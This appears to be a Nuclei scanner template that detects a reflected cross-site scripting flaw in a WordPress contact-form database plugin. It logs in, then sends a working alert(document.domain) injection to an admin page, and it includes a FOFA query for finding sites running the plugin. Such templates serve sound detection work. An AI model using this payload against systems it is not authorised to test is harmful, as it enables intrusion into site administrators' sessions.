CVE-2026-14870: WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting

id: CVE-2026-14870

info:
  name: WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    Database for Contact Form 7, WPforms, Elementor forms WordPress plugin < 1.5.3 contains a reflected XSS caused by improper sanitization and escaping of a parameter in an admin page, letting attackers execute scripts against admin users, exploit requires admin access.
  impact: |
    Attackers can execute scripts in admin context, potentially leading to session hijacking or full admin control.
  remediation: |
    Upgrade to version 1.5.3 or later.
  reference:
    - https://wpscan.com/vulnerability/d574b78c-df04-4dab-bd33-e3a22ff51918/
    - https://wordpress.org/plugins/contact-form-entries/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14870
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-14870
    epss-score: 0.00467
    epss-percentile: 0.40732
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: crm-perks
    product: contact-form-entries
    framework: wordpress
    fofa-query: body="/wp-content/plugins/contact-form-entries/"
  tags: cve,cve2026,wordpress,wp-plugin,contact-form-entries,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=x%27%3Balert%28document.domain%29// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - contains(body, "form_id=x';alert(document.domain)//'")
        condition: and
# digest: 490a0046304402205e04c44dcb3db237e0a37347d9aeddc4e9968390cb2b7e0336bc466af1245a080220232273e93997b7d69b6f4da2183c2d32067b73e7a3abce7a0da6b8c3af8ba840:922c64590222798bb761d5b6d8e72950

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